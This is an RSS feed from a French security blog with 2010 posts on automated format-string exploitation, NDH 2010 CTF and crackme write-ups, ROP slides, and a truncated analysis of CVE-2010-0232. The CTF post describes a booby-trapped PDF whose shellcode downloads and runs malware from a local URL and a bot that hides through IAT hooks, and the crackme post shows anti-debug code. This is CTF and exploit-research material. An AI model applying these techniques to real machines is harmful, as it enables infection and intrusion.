<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet title="XSL formatting" type="text/xsl" href="http://mysterie.fr/blog/index.php?feed/rss2/xslt" ?><rss version="2.0"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:wfw="http://wellformedweb.org/CommentAPI/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
  <title>Mysterie's blog</title>
  <link>http://mysterie.fr/blog/index.php?</link>
  <atom:link href="http://mysterie.fr/blog/index.php?feed/rss2" rel="self" type="application/rss+xml"/>
  <description></description>
  <language>fr</language>
  <pubDate>Sun, 29 Aug 2010 21:52:36 +0100</pubDate>
  <copyright></copyright>
  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
  <generator>Dotclear</generator>
  
    
  <item>
    <title>Format string automatique</title>
    <link>http://mysterie.fr/blog/index.php?post/2010/07/12/Auto-format</link>
    <guid isPermaLink="false">urn:md5:b1292b79dcc8bfd018e368a775e6b009</guid>
    <pubDate>Mon, 12 Jul 2010 18:25:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Programmation</category>
            
    <description>    &lt;p&gt;Cet été j'ai décidé d'apprendre le python, et pour que se soit fun je me suis mis en tête de faire un script qui automatise les format strings.&lt;/p&gt;


&lt;p&gt;En plus c'est la mode:&lt;br /&gt;
&lt;a href=&quot;http://esec.fr.sogeti.com/blog/index.php?2010/07/09/88-exploitation-de-format-string-avec-metasm&quot;&gt;http://esec.fr.sogeti.com/blog/index.php?2010/07/09/88-exploitation-de-format-string-avec-metasm&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://sh4ka.fr/codes/fmt_string_builder.html&quot;&gt;http://sh4ka.fr/codes/fmt_string_builder.html&lt;/a&gt;&lt;br /&gt;
ou pas:&lt;br /&gt;
&lt;a href=&quot;http://www.ouah.org/REMOTEFMT-HOWTO&quot;&gt;http://www.ouah.org/REMOTEFMT-HOWTO&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://nibbles.tuxfamily.org/?p=887&quot;&gt;http://nibbles.tuxfamily.org/?p=887&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.redspin.com/blog/2009/11/25/automatic-format-string-exploitation/&quot;&gt;http://www.redspin.com/blog/2009/11/25/automatic-format-string-exploitation/&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;


&lt;p&gt;Le script se décline &lt;a href=&quot;http://mysterie.fr/prog/blog/autoFrmt/&quot;&gt;en 3 fichiers&lt;/a&gt;:&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/autoFrmt/main.htm&quot;&gt;main.py&lt;/a&gt; &lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/autoFrmt/warper.htm&quot;&gt;warper.py&lt;/a&gt; (détecte ou se situe les arguments faillibles du programme et où placer le payload) &lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/autoFrmt/frmtStr.htm&quot;&gt;frmtStr.py&lt;/a&gt; (exploite la format string) &lt;br /&gt;&lt;/p&gt;


&lt;p&gt;La format string est exploitable dans la cas où:&lt;br /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;On est sur une archi x86 (32bit), sous linux&lt;/li&gt;
&lt;li&gt;La pile est exécutable&lt;/li&gt;
&lt;li&gt;Pas d'aslr (Quoi qu'avec un gros padding/nopsleed ca passe)&lt;/li&gt;
&lt;li&gt;La section dynamic est +W&lt;/li&gt;
&lt;li&gt;Le programme vulnérable n'est pas trop verbeux (ca peut fausser la détection)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En bref sur un wargame c'est parfait (ca permet de gagner du temps), sur un programme réel ca l'est moins.&lt;/p&gt;

&lt;object width=&quot;670&quot; height=&quot;420&quot;&gt;
&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/InfAAmJqMFI&amp;amp;hl=fr_FR&amp;amp;fs=1&quot;&gt;&lt;/param&gt;
&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;/param&gt;
&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;/param&gt;
&lt;embed src=&quot;http://www.youtube.com/v/InfAAmJqMFI&amp;amp;hl=fr_FR&amp;amp;fs=1&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; width=&quot;670&quot; height=&quot;420&quot;&gt;&lt;/embed&gt;
&lt;/object&gt;



&lt;p&gt;Je vous conseille de regarder la vidéo en fullscreen (pas super lisible).&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2010/07/12/Auto-format#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2010/07/12/Auto-format#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/14</wfw:commentRss>
      </item>
    
  <item>
    <title>Write Up – NDH 2010 – VM Windows</title>
    <link>http://mysterie.fr/blog/index.php?post/2010/06/24/Write-Up-%E2%80%93-NDH-2010-%E2%80%93-VM-Windows</link>
    <guid isPermaLink="false">urn:md5:5fa4a8c63554b9ba1fccebe7e7342f83</guid>
    <pubDate>Thu, 24 Jun 2010 19:40:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Challenge</category>
            
    <description>    &lt;p&gt;Pour les personnes n'ayant pas participé au capture the flag ou pour ceux qui n'ont pas exploité les services présent sur la machine Windows. Je mets à disposition les sources des épreuves que j'ai réalisé, et une solution pour chacunes d'elles.&lt;/p&gt;


&lt;p&gt;Premier point d'entrée, utilisateur toto mot de passe azerty.&lt;/p&gt;


&lt;p&gt;Deuxième point d'entrée, un remote buffer overflow avec réécriture du SEH. Sauf que sur la VM le binaire était full &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/9a89h429%28VS.80%29.aspx&quot;&gt;safeSEH&lt;/a&gt;, alors que je l'ai testé/exploité sur ma box, j'ai du merder à la compilation bref désolé pour ceux qui ont passé du temps dessus.&lt;/p&gt;


&lt;p&gt;Troisième point d'entrée, sur le bureau de chaque challenger se trouvait un pdf. Le lecteur par défaut était adobe reader 8.0. Le pdf en question était &lt;a href=&quot;http://seclabs.org/origami/&quot;&gt;crafté&lt;/a&gt; de façon à exploiter la faille &lt;a href=&quot;http://www.securityfocus.com/bid/34169&quot;&gt;cve-2009-0927&lt;/a&gt;.&lt;br /&gt;
J'ai ensuite utilisé un &lt;a href=&quot;http://www.shell-storm.org/shellcode/files/shellcode-162.php&quot;&gt;shellcode windows trouvé sur le net&lt;/a&gt; et retravaillé pour télécharger et exécuter un malware se trouvant à l'url http://192.168.3.200/tmp.exe&lt;br /&gt;
Étant donné les quelques problèmes de mise en place du ctf, l'url n'as pas été disponible tout de suite. Quatre équipes se sont infectées mais il est possible que bien plus d'équipes aient ouvert le pdf.&lt;/p&gt;


&lt;p&gt;Le shellcode modifié :&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/pdf/sc/&quot;&gt;source ici&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Le pseudo botnet :&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/pdf/malware/&quot;&gt;source ici&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Le botnet réécrit l'&lt;a href=&quot;http://en.wikipedia.org/wiki/Portable_Executable#Import_Table&quot;&gt;IAT&lt;/a&gt; d'explorer.exe et de tous les processus lancés par explorer. Afin de se cacher (hook de findFirstFile / findNextFile) et se connecte à irc.&lt;br /&gt;
Malgré le fait que le pdf soit sur le bureau et que quatre équipes soit infectées (dont l'équipe gagnante) personne n'a creusé, et personne n'a rejoint irc pour essayer de prendre le contrôle du bot, donc j'ai fais mumuse tout seul:&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/pdf/screen1.PNG&quot;&gt;screen1&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/pdf/screen2.PNG&quot;&gt;screen2&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/pdf/screen3.PNG&quot;&gt;screen3&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Viens ensuite quelques épreuves plus triviales comme un serveur java qui sérialise l'objet qu'il reçoit. Cet objet lit un fichier contenant de l'ascii art et renvoie son contenu sur le réseaux, le but étant de modifier l'objet afin d'afficher un fichier contenant le hash de l'utilisateur ascii sur chaque machine.&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/java/&quot;&gt;source ici&lt;/a&gt;&lt;br /&gt;
Il y avait aussi deux épreuves web mais je n'en suis pas l'auteur donc je n'en parlerai pas. :)&lt;/p&gt;


&lt;p&gt;Et enfin un &quot;&lt;a href=&quot;http://en.wikipedia.org/wiki/Privilege_escalation&quot;&gt;Local Privilege Escalation&lt;/a&gt;&quot;, le binaire checksum.exe communique avec un driver. Il envoie le contenu du fichier qu'on lui donne au driver, celui-ci fait un &lt;a href=&quot;http://fr.wikipedia.org/wiki/Somme_de_contr%C3%B4le&quot;&gt;checksum&lt;/a&gt; des données et les renvoie au programme. La communication entre eux se fait par la méthode &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms809962.aspx#drvrreliab_topic3&quot;&gt;METHOD_NEITHER&lt;/a&gt;.&lt;br /&gt;
Les challengers ont accès en lecture à checksum.sys. Il pourront remarquer que le driver contient des failles dont un déréférencement de pointeur (Adresse du buffer d'output non vérifié). Les symbols de windows 2003 sp2 était disponible en ftp. Je ne mettrai pas à disposition la source de checksum.exe car il est très crade:&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/checksum/&quot;&gt;sources ici&lt;/a&gt;&lt;br /&gt;
Une petite difficultée était présente, comme le font pas mal d'antivirus le code ioctl de gestion du checksum était aléatoire. En analysant le driver ou l'exécutable on retrouvais facilement le code. Le but était de freiner les challengers en cas d'exploitation massive, mais personne n'a exploité cette épreuve. :(&lt;/p&gt;


&lt;p&gt;That's all folks&amp;nbsp;!&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2010/06/24/Write-Up-%E2%80%93-NDH-2010-%E2%80%93-VM-Windows#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2010/06/24/Write-Up-%E2%80%93-NDH-2010-%E2%80%93-VM-Windows#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/13</wfw:commentRss>
      </item>
    
  <item>
    <title>Write Up – NDH 2010 – Crackme</title>
    <link>http://mysterie.fr/blog/index.php?post/2010/06/23/Write-Up-%E2%80%93-NDH-2010-%E2%80%93-Crackme</link>
    <guid isPermaLink="false">urn:md5:643d7fd91204922d5bec260abe47026f</guid>
    <pubDate>Wed, 23 Jun 2010 17:40:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Challenge</category>
            
    <description>    &lt;p&gt;Le 19 et 20 Juin a eu lieu la 8eme édition de la nuit du hack. Pour cette occasion j'ai réalisé différentes épreuves dont des crackmes accessibles aux personnes participant au challenge public (par le wifi) et aux participants du Capture the flag.&lt;br /&gt;
Dans la section Crackme j'ai réalisé les niveaux 1, 3 et 4.&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;&lt;strong&gt;Crackme Niveau 1:&lt;/strong&gt;&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;Le crackme n'a aucun mécanisme d'anti-debug. Ce qui lui est donné en entrée est comparé directement à une chaine en mémoire. Rien de bien compliqué en soit:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
GetWindowText&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hEdit&lt;span style=&quot;color: #55FF55&quot;&gt;,&lt;/span&gt; text&lt;span style=&quot;color: #55FF55&quot;&gt;,&lt;/span&gt; 255&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;
theSecret&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;span style=&quot;color: #5555FF&quot;&gt;0&lt;/span&gt;]++&lt;/span&gt;;
theSecret&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;span style=&quot;color: #5555FF&quot;&gt;2&lt;/span&gt;]++&lt;/span&gt;;
theSecret&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;span style=&quot;color: #5555FF&quot;&gt;4&lt;/span&gt;]++&lt;/span&gt;;
&lt;span style=&quot;color: #55FF55&quot;&gt;if(&lt;/span&gt;strlen&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;text&lt;span style=&quot;color: #55FF55&quot;&gt;) &gt; &lt;/span&gt;&lt;span style=&quot;color: #5555FF&quot;&gt;0&lt;/span&gt; &lt;span style=&quot;color: #55FF55&quot;&gt;&amp;&amp; !&lt;/span&gt;strcmp&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;text&lt;span style=&quot;color: #55FF55&quot;&gt;,&lt;/span&gt; theSecret&lt;span style=&quot;color: #55FF55&quot;&gt;)) {&lt;/span&gt;
    ShowWindow&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hVrai&lt;span style=&quot;color: #55FF55&quot;&gt;, &lt;/span&gt;SW_SHOW&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;

    strcpy&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;text&lt;span style=&quot;color: #55FF55&quot;&gt;,&lt;/span&gt; getMD5&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;text&lt;span style=&quot;color: #55FF55&quot;&gt;))&lt;/span&gt;;
    SetWindowText&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hMd5&lt;span style=&quot;color: #55FF55&quot;&gt;,&lt;/span&gt; text&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;
    ShowWindow&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hMd5&lt;span style=&quot;color: #55FF55&quot;&gt;, &lt;/span&gt;SW_SHOW&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;
    ShowWindow&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hFaux&lt;span style=&quot;color: #55FF55&quot;&gt;, &lt;/span&gt;SW_HIDE&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;
&lt;span style=&quot;color: #55FF55&quot;&gt;} else {&lt;/span&gt;
    ShowWindow&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hVrai&lt;span style=&quot;color: #55FF55&quot;&gt;, &lt;/span&gt;SW_HIDE&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;
    ShowWindow&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hMd5&lt;span style=&quot;color: #55FF55&quot;&gt;, &lt;/span&gt;SW_HIDE&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;
    ShowWindow&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;hFaux&lt;span style=&quot;color: #55FF55&quot;&gt;, &lt;/span&gt;SW_SHOW&lt;span style=&quot;color: #55FF55&quot;&gt;)&lt;/span&gt;;
&lt;span style=&quot;color: #55FF55&quot;&gt;}&lt;/span&gt;
theSecret&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;span style=&quot;color: #5555FF&quot;&gt;0&lt;/span&gt;]--&lt;/span&gt;;
theSecret&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;span style=&quot;color: #5555FF&quot;&gt;2&lt;/span&gt;]--&lt;/span&gt;;
theSecret&lt;span style=&quot;color: #55FF55&quot;&gt;[&lt;span style=&quot;color: #5555FF&quot;&gt;4&lt;/span&gt;]--&lt;/span&gt;;
&lt;/pre&gt;


&lt;p&gt;La source du crackme:&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/cm1/&quot;&gt;cm1/&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;&lt;strong&gt;Crackme Niveau 3:&lt;/strong&gt;&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;Le mot de passe du programme n'est pas stocké dans sa mémoire ou dans le fichier exécutable. Au chargement il crée 8 plages mémoires contenant des op code de saut assembleur (5 octets). Chaque plage contient 256 sauts, chaque saut équivaut à un
caractère ascii. Dans chacune des plages un seul saut est valide et pointe vers une routine de décryptage les autres sauts pointent indirectement vers une routine qui affiche mot de passe faux.&lt;br /&gt;
J'utilise aussi l'instruction rdtsc pour calculer le temps effectué entre le première saut et le dernier afin de vérifier que le programme s'exécute en moins d'une seconde sinon c'est que le programme est débuggé et donc j'affiche mot de passe faux dans tous les cas.&lt;br /&gt;
La source du crackme:&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/cm2/&quot;&gt;cm2/&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;&lt;strong&gt;Crackme Niveau 4:&lt;/strong&gt;&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;Ce niveau est destiné à des personnes ayant l'habitude de ce genre d'épreuve la difficulté principale de ce challenge est donc de débugger le programme (l'analyser). J'ai mi beaucoup de routine anti-débug. Tout d'abord à l'entrée du programme j'ai incrusté des instructions assembleur pour modifier la signature de l'exécutable (ces instructions ne sont jamais exécutées) le but est de faire croire que l'exécutable est packé c'est à dire qu'il est compressé par un autre logiciel.&lt;br /&gt;
Ensuite j'appel une fonction spéciale un peu partout dans le code de mon programme. (junk code)&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color: #55FF55&quot;&gt;void &lt;/span&gt;brack&lt;span style=&quot;color: #55FF55&quot;&gt;() {&lt;/span&gt;
    &lt;span style=&quot;color: #55FF55&quot;&gt;__asm {&lt;/span&gt;
        _emit &lt;span style=&quot;color: #5555FF&quot;&gt;0xEB&lt;/span&gt;; &lt;span style=&quot;color: #FF5555&quot;&gt; // 0xEB01 = jmp short relatif saute au dessus&lt;/span&gt;
        _emit &lt;span style=&quot;color: #5555FF&quot;&gt;0x01&lt;/span&gt;; &lt;span style=&quot;color: #FF5555&quot;&gt; de l'octet 0x1D. Donc ne fait rien au final&lt;/span&gt;
        _emit &lt;span style=&quot;color: #5555FF&quot;&gt;0x1D&lt;/span&gt;; &lt;span style=&quot;color: #FF5555&quot;&gt; // 0x1D fait croire au debugger que l'instruction qui suit est SBB
    &lt;span style=&quot;color: #55FF55&quot;&gt;}
}&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Le programme crée ensuite un thread. La fonction du thread est la suivante:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color: #55FF55&quot;&gt;while(&lt;span style=&quot;color: #5555FF&quot;&gt;1&lt;/span&gt;) {&lt;/span&gt;
    brack&lt;span style=&quot;color: #55FF55&quot;&gt;()&lt;/span&gt;;
    Sleep&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;span style=&quot;color: #5555FF&quot;&gt;1000&lt;/span&gt;)&lt;/span&gt;;
    &lt;span style=&quot;color: #55FF55&quot;&gt;__try {
        __asm {
            &lt;/span&gt;int &lt;span style=&quot;color: #5555FF&quot;&gt;3&lt;/span&gt;;&lt;span style=&quot;color: #55FF55&quot;&gt;
        }
    }
    __except(&lt;/span&gt;eps&lt;span style=&quot;color: #55FF55&quot;&gt; = &lt;/span&gt;GetExceptionInformation&lt;span style=&quot;color: #55FF55&quot;&gt;(), &lt;/span&gt;EXCEPTION_EXECUTE_HANDLER&lt;span style=&quot;color: #55FF55&quot;&gt;) {&lt;/span&gt;
        brack&lt;span style=&quot;color: #55FF55&quot;&gt;()&lt;/span&gt;;
        isDbg = false;
    &lt;span style=&quot;color: #55FF55&quot;&gt;}
    if(&lt;/span&gt;isDbg&lt;span style=&quot;color: #55FF55&quot;&gt;) {&lt;/span&gt;
        quit&lt;span style=&quot;color: #55FF55&quot;&gt;()&lt;/span&gt;;
        &lt;span style=&quot;color: #55FF55&quot;&gt;break&lt;/span&gt;;
    &lt;span style=&quot;color: #55FF55&quot;&gt;}&lt;/span&gt;
    isDbg&lt;span style=&quot;color: #55FF55&quot;&gt; = &lt;/span&gt;true;&lt;span style=&quot;color: #55FF55&quot;&gt;
}&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Dans le cas où un débugger serait présent au démarrage du programme ou s'il s'attache au programme durant son exécution, l'instruction int 3 (point d'arrêt) est exécutée le débugger la récupère. Le programme détecte ainsi qu'un débugger est présent et le mot de passe n'est jamais révélé.&lt;/p&gt;


&lt;p&gt;La fonction IsDebuggerPresent est aussi appelée dans le programme. Elle est appelée indirectement (récupération de l'adresse de la fonction dynamique).&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
GetProcAddress&lt;span style=&quot;color: #55FF55&quot;&gt;(&lt;/span&gt;GetModuleHandle&lt;span style=&quot;color: #55FF55&quot;&gt;(&quot;&lt;/span&gt;Kernel32.dll&lt;span style=&quot;color: #55FF55&quot;&gt;&quot;), &quot;&lt;/span&gt;IsDebuggerPresent&lt;span style=&quot;color: #55FF55&quot;&gt;&quot;)&lt;/span&gt;;
&lt;/pre&gt;


&lt;p&gt;Et enfin j'utilise l'instruction rdtsc dans le programme pour vérifier que le temps d'exécution de celui ci n'est pas trop long.&lt;/p&gt;


&lt;p&gt;Si le challenger contourne toute ces protections alors le programme alloue une plage mémoire, écrit à l'emplacement de cette plage des octets spécifiques (fonction de déchiffrement encodé), puis la décode avec un XOR. Lorsque l'utilisateur entre son mot de passe la fonction déchiffrée effectue plusieurs opérations aritmétriques sur le mot de passe:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Longueur de la chaine&lt;/li&gt;
&lt;li&gt;Est-ce que la deuxième lettre est égale à la 5eme&lt;/li&gt;
&lt;li&gt;OU / ET logique, XOR etc...&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Par un calcul mathématique ou un peu de logique on retrouve assez simplement le passe. Il n'y a aucune collision une seule solution est valide.&lt;br /&gt;
La source du crackme:&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/ndh2k10/cm3/&quot;&gt;cm3/&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;&lt;strong&gt;Au niveau des résultats sur 180 participants (public/ctf):&lt;/strong&gt;&lt;/ins&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Level1 10 validations&lt;/li&gt;
&lt;li&gt;Level3 5  validations&lt;/li&gt;
&lt;li&gt;Level4 3  validations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Des solutions sont déjà disponibles sur le net:&lt;br /&gt;
&lt;a href=&quot;http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-1&quot;&gt;http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-1&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-2&quot;&gt;http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-2&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-3&quot;&gt;http://w4kfu.free.fr/blog/index.php?post/2010/06/20/Write-up-NDH-2010-crackme-lvl-3&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Et si vous êtes féru de crackme &lt;a href=&quot;http://www.crackme.fr/&quot;&gt;ce week end Eset NOD32 organise un challenge&lt;/a&gt;.&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2010/06/23/Write-Up-%E2%80%93-NDH-2010-%E2%80%93-Crackme#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2010/06/23/Write-Up-%E2%80%93-NDH-2010-%E2%80%93-Crackme#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/12</wfw:commentRss>
      </item>
    
  <item>
    <title>Return Oriented Programming</title>
    <link>http://mysterie.fr/blog/index.php?post/2010/06/06/Return-Oriented-Programming-%28Slides%29</link>
    <guid isPermaLink="false">urn:md5:502f9891b3fdf37a1fb5db53cbc95cd3</guid>
    <pubDate>Sun, 06 Jun 2010 17:58:00 +0100</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Articles</category>
            
    <description>    &lt;p&gt;Ce week-end se tenait à Maubeuge les &lt;a href=&quot;http://www.rssil.org&quot;&gt;rssil&lt;/a&gt; (Rencontres des Solutions de Sécurité et d'Informatique Libre). &lt;br /&gt;
Je vous encourage à y aller l'an prochain. Il y avait une très bonne ambiance, des conf intéressantes et j'ai pu y rencontrer pas mal de monde. Je tiens à remercier tout particulièrement les organisateurs de l'évènement pour leur accueil et leur organisation.&lt;/p&gt;


&lt;p&gt;Pour ceux qui veulent récupérer mes slides ou tout simplement ceux qui n'ont pas pu assister à la conférence:&lt;br /&gt;
&lt;a href=&quot;http://mysterie.fr/prog/blog/rop/rop.pdf&quot;&gt;rop.pdf&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://mysterie.fr/prog/blog/rop/rop.odp&quot;&gt;rop.odp&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://mysterie.fr/prog/blog/rop/rop.ppt&quot;&gt;rop.ppt&lt;/a&gt;&lt;/p&gt;


&lt;p&gt;Et pour ceux qui sont intéressés par le sujet je vous conseil aussi &lt;a href=&quot;http://trailofbits.files.wordpress.com/2010/04/practical-rop.pdf&quot;&gt;la lecture de ce papier&lt;/a&gt; réalisé par Dino dai zovi il y a un mois.&lt;/p&gt;


&lt;p&gt;Pour les autres conférences, les slides devraient être eux aussi en ligne d'ici peu. Ainsi que les épreuves du challenge ethical hacking (en tout cas les résolus).&lt;/p&gt;</description>
    
    
    
          <comments>http://mysterie.fr/blog/index.php?post/2010/06/06/Return-Oriented-Programming-%28Slides%29#comment-form</comments>
      <wfw:comment>http://mysterie.fr/blog/index.php?post/2010/06/06/Return-Oriented-Programming-%28Slides%29#comment-form</wfw:comment>
      <wfw:commentRss>http://mysterie.fr/blog/index.php?feed/atom/comments/11</wfw:commentRss>
      </item>
    
  <item>
    <title>VDM + #GP Trap Handler + IRET = CVE-2010-0232 (MS10-015)</title>
    <link>http://mysterie.fr/blog/index.php?post/2010/01/24/WAZA</link>
    <guid isPermaLink="false">urn:md5:27135ad12862cf128fb987886559f174</guid>
    <pubDate>Sun, 24 Jan 2010 16:38:00 +0000</pubDate>
    <dc:creator>Mysterie</dc:creator>
        <category>Windows</category>
            
    <description>    &lt;p&gt;Je profite des vacances pour jeter un oeil sur &lt;a href=&quot;http://seclists.org/fulldisclosure/2010/Jan/341&quot;&gt;la faille&lt;/a&gt; trouvée par &lt;a href=&quot;http://taviso.decsystem.org/&quot;&gt;Tavis Ormandy&lt;/a&gt; dans le système de gestion du mode virtuel de Windows. Faille présente depuis Windows NT 3.1 (1993).&lt;/p&gt;


&lt;p&gt;Pour pouvoir utiliser des exécutables 16bits&lt;a href=&quot;http://fr.wikipedia.org/wiki/Mode_r%C3%A9el&quot;&gt;(mode réel)&lt;/a&gt; dans un environnement 32bits&lt;a href=&quot;http://fr.wikipedia.org/wiki/Mode_prot%C3%A9g%C3%A9&quot;&gt;(mode protégé)&lt;/a&gt; il faut passer par le &lt;a href=&quot;http://fr.wikipedia.org/wiki/Mode_virtuel_8086&quot;&gt;mode virtuel&lt;/a&gt;. Pour cela Windows a crée un sous-système appelé &quot;NTVDM&quot; qui va interagir avec le binaire 16bits. Offrant à celui-ci la possibilité d'effectuer des instructions tels que CLI, STI, PUSHF, POPF, IRET... Le passage en V86 se fait par le biais de la fonction NtVdmControl().&lt;br /&gt;
Il existe déjà un article sur le V86 sous Windows &lt;a href=&quot;http://www.ivanlef0u.tuxfamily.org/?p=195&quot;&gt;ici&lt;/a&gt;. Passons à ce qui nous intéresse, l'exploitation de la faille se fait en 3 étapes.&lt;/p&gt;


&lt;p&gt;&lt;ins&gt;1] Utiliser NtVdmControl requière le SeTcbPrivilege.&lt;/ins&gt;&lt;/p&gt;


&lt;p&gt;La solution est basique, il suffit d'invoquer un exécutable 16bits. Alors ntvdm.exe va être lancé à son tour pour servir d'interface entre le binaire 16bit et le système d'exploitation. On injecte une dll dans ntvdm.exe et le code qu'elle exécutera bénéficiera du SeTcbPrivilege car les contrôles pour ce token se font au niveau du processus. (EPROCESS-&amp;gt;Flags.VdmAllowed).&lt;/p&gt;


&lt;p&gt;Avant d'appeler la fonction NtVdmControl il faut donner au champ Vdm du TEB l'adresse d'une structure de type VDM_TIB:&lt;/p&gt;
&lt;pre style=&quot;background-color: #000000; padding:5px; color:#DCDCDC;&quot;&gt;
&lt;span style=&quot;color: #FF5555&quot;&gt;// Thread Information Block for VDM Threads
// http://doxygen.reactos.org/dd/de7/vdm_8h_source.html&lt;/span&gt;
&lt;span style=&quot;color: #55FF55&quot;&gt;typedef struct&lt;/span&gt; _Vdm_Tib &lt;span style=&quot;color: #55FF55&quot;&gt;{&lt;/span&gt;
